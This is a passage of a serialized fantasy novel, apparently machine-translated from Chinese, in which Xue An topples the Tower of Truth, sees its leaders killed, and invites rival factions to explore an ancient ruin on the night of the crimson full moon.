    But unexpectedly, the shell did not explode.


    at the same time.


    Xue An smiled at the **** Gatlin.


    "Big guy, I will give you this gift!"


    With that, Xue Antuo appeared in front of Gatling Godzun with this shell, then raised one arm and threw it down suddenly.


    Xue Ansheng slammed the shell into the crack on the face of the **** Gatlin.


    Then Xue An raised his fist and slammed it down.


    boom!


    The cannonball was smashed into the belly of Gatling idol.


    Immediately afterwards, a dull explosion sounded from the inside of the Gatling idol The firearms that used to shoot bullets went silent for an instant, and then began to spray thick smoke from the cracks.


    Even the eyes of the **** Gatlin dimmed, and there were dangerous roars.


    at last!


    A series of terrifying cracks began to surface on the surface of the Gatling god, and then at a certain moment, crashed down.


    In an instant.


    The statue of Gatlin that was standing on the sea just now disappeared into nothing.


    And the cannonball that disappeared together.


    The sea quickly filled the vacancy after the disappearance of the idol.


    Everything returned to calm.


    But everyone was speechless, because at this moment, all eyes had gathered on the young man standing in the void, wearing armor.

 Chapter 1520： The world is still silent

    The world is silent, only the waves remain.


    The island where the headquarters of the Tower of Truth is located is shrouded in an ominous silence.


    The moment Xue An turned his head and cast his gaze here.


    The defensive light curtain that had originally covered the island finally came to an end, and after a soft crack, it shattered.


    The cold sea breeze poured in, blowing on every alchemist''s body, causing them to shiver involuntarily, and their faces became paler.


    Although before that, their faces were already ugly enough.


    There was a playful smile in Xue An''s eyes, stepping into the void, slowly coming to the sky above the island, looking at everyone condescendingly, just about to say something.


    Suddenly Ang Guocong rushed out of the crowd, thumped to his knees, and then said flatly, "The Tower of Truth has sinned against Min An Guocong, I have seen an adult!"


    Through the broadcast, the various forces clearly saw this scene, and many people all showed contempt.


    The girl in the auction alliance is no exception, but after a cold snort, she looked at Xue An in the picture with interest.


    I don''t know how this mysterious boy will react next?


    Is it to kill the Quartet and kill all the alchemists in the Tower of Truth?


    Or is it taking this opportunity to conquer everyone and make the truth their own?


    Not only her, but the leaders of many forces also had the same question.


    After all, Xue An''s previous strength was too horrifying, the key is that he was born out of nowhere, and people didn''t know anything about him.


    Even everyone didn''t even know why he was in conflict with the Tower of Truth!


    In this case, any subsequent reactions of Xue An are enough to attract everyone''s attention.


    at the same time.


    The many alchemists in the Tower of Truth also experienced a slight commotion after seeing An Guocong''s move.


    You must know that the one who clamored the most before was this An Guocong, but now he is the first one to kneel on the ground and pretend to be an adult.


    This kind of one hundred and eighty degree change made everyone stunned and amazed.


    Tao Chengde''s expression was even more pale when he saw this, he couldn''t help but roared, "Anguocong, what do you want to do?"


    "What are you doing? Naturally to welcome the arrival of adults!" As he said, Ang Guocong smiled at Xue An with a flattering face.


    Xue An was indifferent, just standing in the air with a lot of time to watch, only smiled a moment later.


    "Oh? Welcome my arrival?"


    "Yes, my lord! To be honest, Tao Chengde did everything he took to deal with you. It has nothing to do with me. I have always wanted to welcome you, my lord!"


    Seeing Xue An actually smiled at himself, the flattering color on An Guocong''s face became more intense, and the flattery in his words was simply disgusting.


    And hearing him say this, Tao Chengde was shocked and roared in disbelief: "Anguocong, what did you say?"


    "Isn''t what I said is right! And in front of the adults, the surname is Tao, you''d better show respect, and don''t yell here!" An Guocong said with a sneer on his face.


    Tao Chengde was almost mad.


    You must know that in the past, Ang Guocong was obedient to what he said, no matter what he asked him to do, he would execute it without hesitation.


    Unexpectedly, it suddenly turned back at this time.


    "Anguocong, you shameless villain!"


    Tao Chengde yelled, then opened his mouth and spit out a big mouthful of blood, his complexion instantly turned gray and his body shape was shaky.


    Originally, the incident of forcibly summoning Gatlin God Sovereign had already caused him serious injuries. Now that he sees An Guocong suddenly turning back against the water, his anger is attacking his heart, and the lamp is gone.


    But in the face of Tao Chengde''s accusation, An Guocong did not show the slightest guilt, and even sneered.


    "The surname Tao, you don''t want to come to this set, you have done a lot of bad things over the years, I''m just abandoning the dark and throwing the light! How can the villain say?"


    After that, An Guocong turned his head and smiled at Xue An, "My lord, do you think I''m right?"


    Xue An gave him a deep look, then nodded, "That''s right!"


    An Guocong''s face suddenly lighted up, and his heart was filled with joy and pride.


    Damn, it seems that I am on the right step!


    What if it is more powerful? Isn��t it the same thing I played in the palm of my hand?


    The girl in the auction alliance couldn''t help but shook her head slightly.


    Sure enough, he is still too young! Haven''t seen such obvious traps?


    But at this moment, Xue An slowly fell to the ground, standing in front of the kneeling An Guocong, and said indifferently: "According to what you said, you will listen to what I say?"


    An Guocong smiled flatly, "Of course! It''s an honor for a villain to serve adults, I..."


    Before he could finish speaking, Xue An already waved his hand to interrupt him, and said lightly: "If this is the case, then you can stop yourself!"


    The smile on An Guocong''s face instantly solidified, and he looked up at Xue An blankly.


    Xue An raised his eyebrows slightly, "Huh? Didn''t you hear?"


    An Guocong trembled all over, and immediately squeezed a smile on his face that was even worse than crying, and said with a trembling voice.


    "Big...sir, you... are you kidding, right? Hahahaha, I know, it must be like this! My lord, you are so humorous..."


    "I''m kidding?" Xue An shook his head, "Of course not! I just happened to see you a little unpleasant, so I wanted you to die! And didn''t you just listen to me? Then do it!"


    An Guocong''s face turned pale at a speed visible to the naked eye, his eyes were filled with infinite horror, and fine beads of sweat appeared on his forehead, "But...but..."


    Xue An nodded, "Oh, I see! You don''t want to die at all, so what you said before was lying to me, right?"


    An Guocong trembled when he heard the words and just wanted to say something.


    A faint smile appeared on the corners of Xue An''s mouth In this case, let me do it for you! "


    "No!" An Guocong is not a fool, of course he understands what Xue An means, so he screamed, and he rolled on the ground, then got up and ran.


    But he couldn''t run three steps, Xue An raised his hand and flicked his finger.


    The armor on the palm of his hand suddenly stretched out a ray of golden light, and it pierced An Guocong''s back with lightning speed, and then came out from his front heart.


    puff!


    Jin Guang withdrew, blood splashed, and then An Guocong''s corpse fell to the ground with an unwilling face.


    In fact, from Xue An landing on the island to An Guocong''s death on the spot, there were only a few breaths in total.


    But in such a short period of time, Xue An simply and neatly beheaded the second in command of the truth tower on the spot.


    Apart from anything else, this decisiveness alone is enough to be daunting.


    But the group of alchemists in the Tower of Truth were shaking more and more.

 Chapter 1521： Shock

    But Xue An obviously didn''t bother to care about these bottom cannon fodder.


    He strolled forward, walked up to Tao Chengde and He Yinuo standing in the middle, and smiled slightly.


    "Well, now that the discordant voices have been eliminated, it''s time to deal with our affairs!"


    Tao Chengde stared at Xue An, and after a while he slowly closed his eyes, "Nothing to say, let''s do it!"


    Xue quietly looked at this Tao Chengde, and suddenly laughed, "Do you really want to die?"


    Tao Chengde trembled slightly, but his teeth clenched and did not speak.


    "Or do you want to hide something by dying?"


    Hearing these words, Tao Chengde, who had closed his eyes, opened his eyes suddenly and looked at Xue An with amazement.


    "Is it strange how did I know?" Xue An smiled, and then continued: "Actually, when I first saw Liang Ming''s war beast, I noticed something strange."


    "When I tracked down Liang Ming''s master Duan Fuxian later, this feeling became even stronger!"


    "How does it feel?" Tao Chengde at this moment suddenly became very calm.


    "It''s very simple. The runes of those war beasts are definitely not something that a great alchemist can create! Even if he fills them with human lives, it is absolutely impossible!" Xue An said lightly.


    Tao Chengde glanced over the four feathers on the wings behind Xue An, and suddenly sneered.


    "Since you have collected four sets of armors, you should naturally understand the power of these ancient armors! Duan Fu was my apprentice first, and he also has a set of armors, so he has relatively strong attainments in runes. What''s the problem?"


    "Well said!" Xue An applauded lightly, but then he showed a cold smile.


    "But it''s okay for you to deceive others, but you can''t hide it from me! Because in my eyes, the runes of those war beasts are completely different from this armor!"


    Tao Chengde looked sarcastically, "Oh? Two different things? So, is your rune attainment very deep!"


    "It''s okay!" Xue An smiled faintly.


    "Alright? Haha!"


    Tao Chengde''s laughter was very harsh.


    Because the rune is extremely difficult and profound, let alone ordinary people, even alchemists in the realm of creators dare not say that their attainments are okay.


    But at this moment, the brilliance of Xue An''s eyes flashed, and a series of extremely complicated talisman seals appeared in front of him.


    This scene caused Tao Chengde to swallow the following words directly, and not only him, but all the forces were stupid.


    In the Tracer Alliance, when the old **** was watching the excitement, the leader saw these runes and was shocked to pull off a few beards from his chin, and cried out in shock, "The God of Gear is here. Come on, it''s him!"


    Because just yesterday, the Auction Alliance had just given them the three Talismans from the armor auction.


    At that time, the leader immediately studied the Fu seal, but the more he studied, the more frightened he became, and he couldn''t help being full of respect for the character of the Fu seal.


    Because the power contained in these talisman seals was so powerful that he could not understand it.


    At that time, he decided that no matter what method he used, he must have a good relationship with the character of Fu Zhuan.


    But he never expected that only a day later, he would see the person who bought his alliance armor through the light curtain broadcast!


    And just when the leader of the Tracer Alliance looked at the talisman seals floating around Xue An with a face full of fascination.


    Tao Chengde opened his mouth, but in the end he was speechless.


    Because every talisman that appeared in front of him was filled with extremely powerful power.


    This left him nothing to say.


    At this time, Xue An said leisurely: "Don''t you want to say something?"


    Tao Chengde''s eyes suddenly showed decisiveness, and then he grinned, "Boy, I have to admit that you are indeed powerful enough and smart enough! That''s right, just as you guessed!"


    "There is indeed a big secret hidden behind our truth tower, but do you think I will tell you these things?"


    "Probably not!" Xue An said casually.


    "Hahahaha!" Tao Chengde laughed, "You can understand! And only I know this secret. After I die, no one will know it again!"


    "So if you want to figure it out, kneel down and beg me now! See if I will tell you kindly, hahahahaha!"


    Tao Chengde laughed hysterically.


    But at this moment, a cold female voice suddenly came over.


    "I know!"


    The sound was not loud, but it shook the audience.


    Tao Chengde''s laughter stopped abruptly, and then he looked at He Yinuo, who was standing not far away, with a solemn expression on his face.


    It was her who just spoke.


    She took a deep breath, raised her head, staring at Xue An with piercing eyes, and slowly said: "The secret he is trying to cover up, I know!"


    Upon hearing these words, a faint smile appeared on Xue An''s face.


    "Oh? You know?"


    He Yinuo nodded, "Yes! And...I can work with you!"


    Tao Chengde was shocked, and then roared in anger, "He Yinuo, you bitch, you are talking nonsense, none of you can know this secret!"


    He Yinuo glanced at Tao Chengde, opened his lips lightly, and said in a low voice: "Ancient Ruins!"


    These four words seemed to have magical powers, directly causing Tao Chengde to stand in place. After a while, he trembled and roared: "You bitch, how do you know this?"


    "Tao Chengde, you seem to have forgotten what I am best at! Collecting and sorting information, then analyzing it, and finally drawing a conclusion, is this... difficult?" He Yinuo said coldly.


    Tao Chengde felt that his heart gradually sank, and his hands and feet became cold.


    This change was something he couldn''t predict at all.


    As for Xue An...


    After hearing the words of ancient ruins, there was a glimmer of glory in his eyes.


    In fact, the reason why he has traveled far and wide is to punish these unruly alchemists who regard their lives as horrible.


    The other is looking for clues.


    Because Xue An can clearly feel that among the runes left by Duan Fuxian, there is an obvious taste from the heyday of ancient civilization.


    This is very important for Xue An.


    Because what he wants to do is completely beyond what the now declining alchemy civilization can accomplish.


    The only way to do this is to restart the alchemy civilization in the heyday of ancient times.


    Originally, he was going to forcibly search for clues in Tao Chengde''s soul through his divine mind, but he didn''t expect that at this time, He Yinuo would stand up.


    At this moment, Tao Chengde suddenly cried out in grief, "I''m fighting with you!"


    With that, he urged the only cultivation base left in his body and rushed straight towards He Yinuo.


    But before he rushed forward, He Yinuo''s hand suddenly appeared with a dark pistol, and then he raised his hand and shot it.


    Bang!


    After a muffled sound, Tao Chengde''s head was directly shattered.


    Then He Yinuo blew off the smoke from the muzzle and smiled at Xue An.


    "My lord, this... should be the first step in our cooperation!"

 Chapter 1522： Ancient ruins, happy cooperation!

    This sudden shot shocked everyone.


    Because from the beginning to the present, in just a few quarters of an hour, Ang Guocong and Tao Chengde died one after another, and the three major speakers of the Tower of Truth were the second, and now only He Yinuo is left.


    In this situation, the eyes of all parties naturally focused on Xue An.


    Seeing Xue quietly looking at He Yinuo, the smile on the corner of his mouth gradually increased.


    "Oh? Cooperation?"


    He Yinuo nodded and said solemnly: "Yes, cooperation!"


    Speaking of this, why Nor paused. Seeing that Xue An did not show any strange expressions, he went on and said: "I know the purpose of your coming here, and now Tao Chengde is dead, the only one who can help you do this Only me!"


    "Then how do you want to cooperate?" Xue An said lightly.


    "It''s very simple, I will be the master of the Tower of Truth, and you... will have all the secrets I know!" He Yinuo said solemnly.


    Hearing what she said, the scene instantly became quiet.


    Including everyone in front of the light curtain, their expressions became solemn.


    Because they had just heard the four words He Yinuo said about the ancient ruins.


    Everyone knows exactly what these four words mean.


    After all, although many relics have been excavated over the years, they are almost all from the decline period after the Great War. There is no real ancient relic.


    And now that He Yinuo said that, everyone was just wondering why the Tower of Truth has been able to overwhelm all parties in alchemy for so many years, ranking first. It turns out that they actually have a real ancient relic in their hands.


    This is incredible, and crazy.


    At least that''s what the president of the Trail Diggers Guild thought, and he vowed that if he knew the news before today, then even if they bet the strength of the entire Trail Diggers Alliance against the Tower of Truth, they would do their best. Ways to obtain this secret, so as to dig out this ancient relic.


    After all, the allure of an ancient ruin is too great for those excavators who make a living by digging out ruins.


    But now...


    The president of the Tracer Guild looked at Xue An in the picture with a wry smile on his face.


    No one wants to be an enemy of such a monster.


    Not even a huge force, because...the example of the Tower of Truth is right in front of you.


    At the same time, after Xue An was silent for a while, he nodded at He Yinuo with a smile, then stretched out his hand and said lightly: "In this case, then... happy cooperation!"


    He Yinuo, who was a little pale, finally let out a sigh of relief, and then stretched out his hand to shake Xue An gently.


    "Happy cooperation!"


    The scene of the two shaking hands was engraved in everyone''s eyes through the light screen.


    This also made the eyes of all parties looking at Xue An very complicated.


    There are fears and suspicions, but more are still worried.


    Because no one knows, after this mysterious young man possesses an ancient relic, whether it is a blessing or a curse for the world.


    But one thing is certain, that is, this world will no longer be peaceful!


    In the auction alliance, the light curtain gradually dissipated.


    The girl narrowed her eyes and bowed her head silently.


    Ya Que was silent in the hall, and no one dared to disturb the girl''s thinking.


    At this moment, a rush of footsteps came from outside.


    A middle-aged housekeeper hurried in and bowed to salute.


    "Miss, what you asked me to investigate has already become apparent!"


    "Oh?" The girl Huo Ran raised her head and said in a deep voice, "Have you brought anyone here?"


    "Just outside!"


    "Let him in!"


    "Yes!"


    Soon, Wen Jinkui was led in.


    After seeing the girl sitting behind the bead curtain, Wen Jinkui fell to his knees and respectfully saluted.


    "Qingshi City auctioneer Wen Jinkui, I''ve seen Miss!"


    The words are full of infinite respect and excitement.


    In fact, for the Qingshicheng auctioneer who lives in a corner, if nothing else, it is difficult for him to see this girl, let alone pay a visit.


    That''s why he was so excited.


    Because this girl can be said to be an idol worshipped by all auctioneers in the auction league.


    Nalan Viola!


    From the Nalan family that controls the auction alliance, he is also the youngest child in the family.


    But although she is young, she is very legendary.


    He has a great talent for seeing the truth since he was born, he can independently identify alchemy items at the age of seven, and presides over the auction alone at the age of fifteen.


    By the age of twenty, her ability in identification can be said to be unique in the world, and no one can match.


    Coupled with her extremely calm mind, in just a few years, she had beaten her brothers and sisters to the bottom, and finally took control of this huge auction alliance.


    Wen Jinkui was naturally full of excitement to see such a legendary existence today.


    Nalan Viola nodded, without extra politeness, and went straight to the subject.


    "A few days ago, an auction was held in Bluestone City. Is there an alchemy armor sold on it?"


    In fact, Wen Jinkui knew why he was calling him when he was on the road, so after listening to Nalan Viola, he nodded without hesitation.


    "Yes!"


    "Okay! You see if this person bought that armor!"


    With that, Nalan Zhongqin waved his hand, and a carefully intercepted light screen appeared in front of Wen Jinkui.


    When he saw Xue An who was wearing armor and only his face was exposed, Wen Jinkui was shocked, and immediately nodded and said: "Yes! That''s him! But it''s strange how the armor on his body matches the auction. The armor is a bit different!"


    "Oh? It''s different? Where is it different?" Nalan Zhongqin''s eyes lit up immediately asked.


    Wen Jinkui shook his head, "I can''t tell, because the armor he wears is quite different from the armor at the auction, but in some places it is very similar! It''s like...fit! "


    Nalan Zhongqin shook his face when he heard the words, and immediately stood up and paced back and forth behind the bead curtain, muttering to himself.


    "Mixed... Armor? It turned out to be like this! No wonder he has four feathers on his wings, but what does this mean? Could this be his armor is far from complete? God, that armor is How powerful is the true form?"


    Nalan Viola''s complexion changed, and there was a slight commotion in the field.


    Wen Jinkui is still in the dark, not knowing what happened.


    After all, Bluestone City is remote, and coupled with the fact that from Xue An''s massacre of alchemy master Duan Fuxian to the suppression of the Tower of Truth, there is no day in total.


    Except for those who have the ability to watch the light curtain broadcast, other ordinary people still don''t know the news.

 Chapter 1523： Notice to each section

    Therefore, he looked at an auctioneer on the side with a face of confusion, and asked in a low voice: "Thank you, please, the young lady called me over for this reason? Is there any problem with this Mr. Xue?"


    The auctioneer looked at Wen Jinkui with a very strange look, "Don''t you know?"


    "Know what?" Wen Jinkui was even more dazed.


    The auctioneer shrugged, "Okay! It seems that you really don''t know, so I will briefly introduce you to it! It''s like this..."


    Following the narration of the auctioneer, Wen Jinkui''s eyes gradually widened, his mouth gradually opened, and the expression on his face completely solidified.


    what?


    In such a short time, this Xue An actually destroyed Duan Fuxian first, and then stepped on the entire Tower of Truth under his feet?


    With so many earth-shattering events, he just took it lightly and solved them?


    This is too unbelievable or... cowhide!


    At the time when Wen Jinkui was full of shock.


    Nalan Viola suddenly stopped, and said in a deep voice, "What is the reaction of other parties now?"


    Someone immediately stepped up and said: "Miss, all parties are still silent now, and no one has responded to this matter!"


    Nalan Zhongqin hesitated for a moment, then gritted his teeth abruptly, "Send the letter to the Tower of Truth and say...our auction alliance is willing to continue to maintain a good cooperative relationship with them!"


    There was a commotion in the field.


    The big steward also showed a hint of surprise on his face, but Xuan even lowered his head deeply, "Understood!"


    After the auction alliance first expressed its attitude, it was in the headquarters of the digger guild.


    Chairman Yan Zhong was sitting on the chair with a sad face, calculating the impact of this incident.


    Everyone in the room was silent for a while.


    Ancient ruins!


    Such an existence is enough to make everyone in the Trail Digger Guild blue eyes.


    But now they can only look at this big cake, but there is no possibility of eating it.


    How can this not make everyone frustrated.


    So when Yan Zhong heard the statement issued by the auction alliance, he was taken aback for a moment, and then slammed the table.


    "Damn, I didn''t expect a big man of mine to have courage without a girl, come here!"


    "President!"


    "Immediately send the order, saying that our Trace Digger Association would like to express our heartfelt congratulations to this...um...Mr. Xue!"


    "understand!"


    When his subordinates left, Yan Zhong leaned on the chair and sighed deeply.


    Anyway, make a good relationship first!


    As for this ancient relic...


    A wry smile appeared on Yan Zhong''s face.


    Just think about it!


    After the Auction Alliance and the Trail Excavator Guild expressed their positions one after another, the various forces immediately followed the news.


    In the Tower of Truth, the alchemists retreated in fear, and only Xue An and He Yinuo were left in the huge hall.


    He Yinuo solemnly took out a sheepskin letterhead and handed it to Xue An with both hands.


    "My lord, this is all the information I have collected about this ancient ruin!"


    Xue An took the letterhead and looked down.


    At the beginning, a faint look of surprise flashed across Xue An''s face, but soon, he showed a smile, then raised his head and put the letter paper on the table.


    "It''s interesting! How did you detect it?"


    He Yinuo was silent for a moment, and then whispered: "It''s very simple. I secretly arranged a set of sensing devices that belonged only to me without Tao Chengde and others knowing, and then I discovered some very interesting phenomena!"


    "Whenever the crimson moon is full, there will be a frenzy in this sea area. This is nothing unusual, but I found that the frenzy in the sea area around the Tower of Truth is obviously stronger than other sea areas!"


    "To be precise, it is at least three percentage points violent! This change is very subtle. If it is not based on the sensor, it is difficult to detect it with the naked eye!"


    "That''s it?" Xue An raised his eyebrows slightly.


    "Of course it''s not that. In fact, I have long been skeptical, so I secretly observed Tao Chengde''s whereabouts, and finally found that whenever the crimson moon is full, he tends to disappear for a while!"


    "But in the end it made me sure that what I suspected was that I found a passage!"


    "aisle?"


    "That''s right! A passage that can penetrate the boundless sea into the ancient ruins! And this passage appears when the crimson moon is full!"


    "So you are sure that the ancient ruins are in the waters around the island?" Xue An said lightly.


    He Yinuo nodded, "Yes! Not only that, I also searched all the history of the Truth Tower, and found that the first Truth Tower was just a little-known guild with very weak strength, but waited until the first term. After the Speaker established the headquarters on this island, everything became different!"


    Speaking of this, He Yinuo raised his head and looked at Xue An with piercing eyes, "My lord, is this... enough?"


    Xue looked at He Yinuo quietly, then gently clapped his hands.


    "Of course! Actually Tao Chengde died in your hands, really not wronged!"


    He Yinuo sighed, and a faint smile appeared on his face, "Actually, after I knew this secret at the time, I didn''t think it was of any use, because Tao Chengde was firmly in charge of the truth tower. I can''t get in at all!"


    "now what?"


    "As you can see, Tao Chengde is dead! The Tower of Truth...will be mine from now on!" He Yinuo''s eyes flashed when he said this.


    "You are very ambitious!" Xue An lowered his eyes and said lightly.


    "I admit it! But I don''t think this is a bad habit! Just like your lord!" He Yinuo said.


    "Me?" Xue An raised a smile at the corner of his mouth, then shook his head, "You are wrong, what I need is not what you think!"


    He Yinuo was taken aback, and didn''t understand what Xue An meant.


    At this moment I saw Xue An sitting up straight again, tapping the sheepskin letter paper on the table with his slender fingers, and faintly said: "How long will it be until the next crimson moon is full? ?"


    "Ten days!"


    "Very good! Then you send the things recorded on this letterhead to... all the forces and invite them to come together by then!"


    "What?" Hearing Xue An''s words, why Yinuo was shocked, thinking that he had heard it wrong.


    Xue An smiled, "What? Didn''t you understand?"


    "No...no...well! I will do it now!" He Yinuo didn''t dare to look at Xue An''s gaze directly, so he could only bow his head deeply and speak respectfully.


    "Go!" Xue An leaned back on the chair and said lightly.


    "Yes!" He Yinuo picked up the sheepskin letterhead and turned away.


    Xue An looked at her back, shook his head with a smile, and whispered softly in his mouth.


    "Ancient ruins? Hope... don''t let me down this time!"

 Chapter 1524： Even if it is a trap, you have to pinch your nose and jump...

    "What?" After receiving the reply from the Tower of Truth, Nalan Zhongqin suddenly rose, his face full of deep shock.


    "Are you sure this is the news from the Tower of Truth?"


    "Of course! Can''t be wrong!" The butler hurriedly said.


    Nalan Viola''s expression was startled and suspicious, and he took the letter in his hand and started pacing back and forth in the room again.


    The letter is very simple, but the meaning it represents is shocking.


    Because the above not only described the location of the ancient ruins in detail, but also thoughtfully marked when it was opened.


    And at the end of the letterhead, it was an invitation.


    All parties are invited to explore this ancient ruins together!


    This news completely exceeded Nalan Viola''s expectations.


    She thought that Xue An would explore the ruins alone without realizing it after reaching a cooperative relationship with He Yinuo.


    That''s why she took the lead to show her favor to the Tower of Truth, because no matter what the ruins, the income will be very rich, and then this Xue An will definitely auction the things that she does not use.


    Establish a good relationship now, and then continue to cooperate.


    But never expected that Xue An would be so generous, and directly invited all parties to participate in the exploration.


    What kind of medicine does he sell in this gourd?


    Could it be that he is not good at exploring this ancient relic alone?


    Or is it very dangerous in this ancient ruins?


    A joke, is there any ruin in the world that is not dangerous?


    Nalan Viola was full of thoughts, and at the same time, all the elders of the auction alliance arrived after hearing the news, but still no one dared to speak, just watched Nalan Viola quietly.


    When facing the bright eyes that filled the room, Nalan Viola suddenly laughed at himself.


    Okay, don''t waste your brains.


    No matter how much speculation, it will not help.


    Because now it is impossible to not participate!


    The attraction of the ancient ruins is too great, even if the front is really a trap or trap, Nalan Viola has to pinch his nose to jump down.


    But even so, Nalan Viola sighed slightly in his heart.


    She hates the feeling that this situation is beyond her control, especially this kind of conspiracy that makes herself have to accept the trick!


    And this also made her more and more interested in Xue An.


    What is the origin of this boy?


    Although she had investigated Xue An''s background in detail, when she saw the simple one-page introduction, she could immediately conclude that it was definitely not true.


    After all, how can an ordinary teenager in an abandoned mining area have such strength?


    Who are you?


    at the same time.


    In the Tracer''s Guild, after seeing the letter from the Tower of Truth, Yan Zhong jumped up and jumped onto the table, hissing and screaming: "Damn, is he real?"


    "It''s true!" The big steward is also suspicious of life.


    Yan Zhong stood silent on the table.


    The chief steward asked a little hesitantly: "President, how does this matter look and reveal something strange, or... let''s put it aside and see how other parties respond?"


    "Set aside a fart!" Yan Zhong trembled all over, and immediately retorted: "When you see the response, the yellow flowers will be cold!"


    "but����."


    "But what?" Yan Zhong placed the letter paper in his hand, "What is this? This is an ancient relic! Even if it is a fire pit, we have to brace ourselves and jump down!"


    "So..." Yan Zhong took a deep breath and said solemnly, "Call all the good players out there and order them to stop all their work and come back immediately!"


    "Yes!" The chief steward finally stopped hesitating, lowered his head and replied.


    Immediately afterwards, the forces of all parties also completely boiled with the spread of the truth tower.


    As Yan Zhong said, even though I don''t know why the Tower of Truth did this, even if the front is really a fire pit, everyone will jump in one after another.


    After all, everyone wants to see what is in this ancient ruins.


    Two major events have recently occurred in the alchemy world.


    The first is naturally that Xue An��s birth turned out. The alchemist Duan Fuxian was first destroyed, and then the Tower of Truth was flattened. Even the deity Gatling, who defended the Tower of Truth, was wiped out.


    Such news will blow up the world long ago in peacetime.


    But at this moment, it''s nothing.


    Because the second thing is more shocking, and even to the point of unthinkable.


    The reason why the Tower of Truth can stand upright is because there are ancient ruins behind it, and when the secret was revealed to the world, this Xue An actually invited all forces to explore the ancient ruins together.


    The whole world became agitated because of this incident.


    Countless people are discussing this matter, and everything is said at a time.


    Some say that this is obviously a trap, and there must be an ulterior conspiracy behind it.


    Some people also said that Xue An obviously felt that he was unable to open the ancient ruins alone, and that he wanted to use the help of various forces.


    But in any case, the various forces responded to this in the first place.


    But in this huge whirlpool of public opinion, the truth tower of the initiator is surprisingly calm.


    Did not even come forward to explain.


    In this situation, many people can''t help being curious.


    This Xue An, what is he doing right now?


    He Yinuo stepped up to the top of the tall tower located in the center of the island. The location is extremely high and overlooks most of the surrounding sea. However, the sea breeze here is far stronger than below, causing pain in the head and face.


    He Yinuo had to open the alchemy barrier before he could walk smoothly on it.


    When she reached the railing of the high platform, she saw Xue An standing against the wind, quietly looking at the distant sea.


    Very strange.


    After standing a little closer to Xue An, the violent sea breeze became docile, and it blew gently around the two.


    He Yinuo glanced at Xue An''s back with a complicated expression, and said in a low voice: "My lord, we have already notified!"


    After a long time, Xue Ancai answered without looking back, "Hmm!"


    He Yinuo followed Xue An''s gaze, but only saw the vast sea water, without seeing any difference.


    This made He Yinuo silent for a moment, and finally couldn''t help it. He whispered: "My lord, I really don''t understand, why do you disclose such important information to others?


    Xue An turned his head to look at He Yinuo when he heard the words, and then smiled and said, "Then what should you do?"


    "Of course I am exploring this ancient ruins alone!" He Yinuo said without hesitation.


    Xue An chuckled and shook his head, looked at the distant sea again, and said lightly: "What you said is not wrong, but you made a mistake!"


    Speaking of this, Xue settled for a while, and his tone became solemn, "I didn''t come here to monopolize certain things. In fact, this civilization is not exclusive to anyone!"


    He Yinuo was a little at a loss, because she didn''t understand what Xue An said.


    "It''s very simple. If I want to make a civilization prosper again the most important thing is not some relics or technology, but people!"


    "Only people can make everything renewed to glory!"


    He Yinuo shook his whole body, then nodded without understanding.


    From her perspective, it is really difficult to understand Xue An''s thoughts.


    At this time, Xue An continued, "Do you know why I let you go?"


    He Yinuo was taken aback, his heart shrank together suddenly, and then he smiled strongly, "Isn''t it because of cooperation?"


    Xue An smiled and shook his head, then turned his head to take a deep look at He Yinuo, "Do you think if I want to know something, I can''t do it?"


    He Yinuo originally wanted to refute, but suddenly found himself speechless.


    Xue An turned his gaze to the distant sea level again, and said in a flat tone.


    "I want to leave a fire for you in the Tower of Truth, so I didn''t kill you! Of course, this is also because your hands are cleaner! Otherwise...no one can help you!"

 Chapter 1525： Crimson moon full

    When stepping off the aircraft and stepping on the island where the Tower of Truth is located, Nalan Zhongqin saw many familiar faces.


    In fact, although there are still three full days before the crimson moon, the island is already overcrowded.


    As long as the name can be called, Nalan Zhongqin discovered that there were people from the Apothecary Alliance, the Raiders Guild, and the Hunter Guild.


    As for those small forces that don''t even know their names, there are even more of them.


    Nalan Viola was also very surprised by this.


    What does this Xue An want to do?


    After notifying the major forces, why are these small guilds invited?


    If it is said that there is insufficient power to open the ancient ruins and need to seek outside help, these small forces can''t help at all?


    What does he think, or...what is he planning?


    Nalan Viola was once again in deep doubt.


    At this moment, a voice came from behind her.


    "Miss Nalan also came so early!"


    Nalan Zhongqin turned around and saw Yan Zhong who had just stepped off the aircraft and was looking at her with a smile on his face.


    Nalan Zhongqin was in a daze, and then he smiled, "Chairman Yan is here!"


    "Of course! How can such a grand event be less than our Ruins Digger Guild! After all...that is an ancient relic!" Yan Zhong said solemnly.


    Because of the special nature of the Excavator Guild, it has always been a good cooperative relationship with the Auction Alliance.


    After all, for those who are obsessed with digging relics, it is obviously a very cost-effective thing to auction off those temporarily unused items for wealth.


    Naturally, the auction alliance also values ??this big customer very seriously.


    Nothing is more suitable as a glue for friendship than common interests.


    In the case of the same interests of both parties, the relationship between the Auction Alliance and the Excavator Guild has always been very good.


    This time it was no exception. Nalan Zhongqin and Yan Zhong walked all the way, talking and laughing towards the high tower in the middle of the island.


    After the mottled base of the tower appeared in front of the two, Yan Zhong sighed slightly.


    "Speaking of which last time I came here, Tao Chengde came out to greet him in person! Unexpectedly, time has changed, and the truth tower now seems to have changed."


    Nalan Zhongqin was not interested in these sighs. The only thing she was interested in was the confidence revealed in Yan Zhong''s words.


    "Oh? President Yan actually came to the Tower of Truth?"


    Yan Zhong showed a bitter smile upon hearing the words, "Yes! I was invited by Tao Chengde at the time, but I was so kind, so I had to come over!"


    Nalan Zhongqin won''t believe those nonsense, but his hospitality is difficult...?


    Ha ha! It is estimated that Tao Chengde offered a price that Yan Zhong could not refuse!


    As for the invitation of the speaker of a tower of truth, what do you think of the leader of the digger guild!


    Just think about the information on that letterhead.


    After all... In terms of excavating ruins, the Excavator''s Guild is professional!


    really.


    A look of regret appeared on Yan Zhong''s face, "At that time, Tao Chengde asked me how to enter the ruins without disturbing the ruins. I also told him for a long time!"


    "Hate that I didn''t expect this guy to have an ancient ruin in his hands!"


    Speaking of this, Yan Zhong repeatedly shook his head and sighed.


    Nalan Viola said indifferently, "Even if you knew it then, what can you do?"


    The expression on Yan Zhong''s face instantly solidified.


    "Can you still step on the Tower of Truth and enter the ruins? Don''t even think about it. With the strength of your Ruins Excavator Guild, it is impossible to do it!"


    After that, Nalan Zhongqin stepped forward, and only Yan Zhong was left standing alone.


    "Yeah! What can I do even if I knew it at the time? Without that strength, how could I possibly be able to catch such ancient relics!" Yan Zhong muttered to himself, and finally shook his head with a wry smile, and followed.


    Under the uproar that swept the entire world, all forces rushed to board the island for fear that they might have missed something.


    Even though many of them are only worthy of playing soy sauce next to them, this does not hinder their high enthusiasm.


    So the whole island was filled with a frenetic atmosphere, and this atmosphere also climbed to its peak on the day when the crimson moon was full.


